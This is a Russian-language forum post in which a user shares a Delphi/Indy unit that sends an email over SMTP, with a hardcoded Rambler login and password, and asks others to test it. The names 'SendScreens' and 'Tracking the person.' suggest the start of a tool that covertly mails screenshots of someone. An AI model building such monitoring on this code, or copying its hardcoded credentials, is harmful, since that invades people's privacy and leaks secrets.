Показать сообщение отдельно
  #4  
Старый 09.04.2011, 19:52
Сорокин_Роман Сорокин_Роман вне форума
Прохожий
 
Регистрация: 29.11.2010
Сообщения: 34
Репутация: 10
По умолчанию

Пользуюсь Delphi XE, версия Indy - новейшая.
Привожу полный код модуля с вырезанными "лишними" строчками (со специально созданной почтой на рамблере, можете проверить )
Код:
unit Sending;

interface

procedure SendScreens;

implementation

uses
  IdSMTP, IdMessage, SysUtils, Windows, Dialogs, Forms;

const
  SMTP_SERVER = 'smtp.rambler.ru';
  USER_LOGIN = 'iqdddd17';
  USER_PASSWORD = 'Sidorovich';
  TO_ADDRESS = 'iqdddd@gmail.com';
  FROM_ADDRESS = 'iqdddd17@rambler.ru';
  USER_NAME = 'Иванов Иван Иванович';

procedure SendScreens;
  label final_;
  var
    client: TIdSMTP;
    msg: TIdMessage;
begin
  msg := TIdMessage.Create;
  client := TIdSMTP.Create;
  with client do
  begin
    Port := 25;
    Host := SMTP_SERVER;
    AuthType := satDefault;
    Username := USER_LOGIN;
    Password := USER_PASSWORD;
    PipeLine := true;
    Connect;
    if not Connected then
      goto final_;
  end;
  with msg do
  begin
    Body.Text := 'about';
    Subject := 'Tracking the person.';
    Recipients.EMailAddresses := TO_ADDRESS;
    From.Address := FROM_ADDRESS;
    From.Name := USER_NAME;
    Date := SysUtils.Date;
  end;
  try
    client.Send(Msg);
  except
    On E: Exception Do
    begin
      ShowMessage(E.Message);
    end;
  end;
final_:
  msg.Free;
  Client.Free;
end;

end.

Кому не сложно, подключите и проверьте.
Ответить с цитированием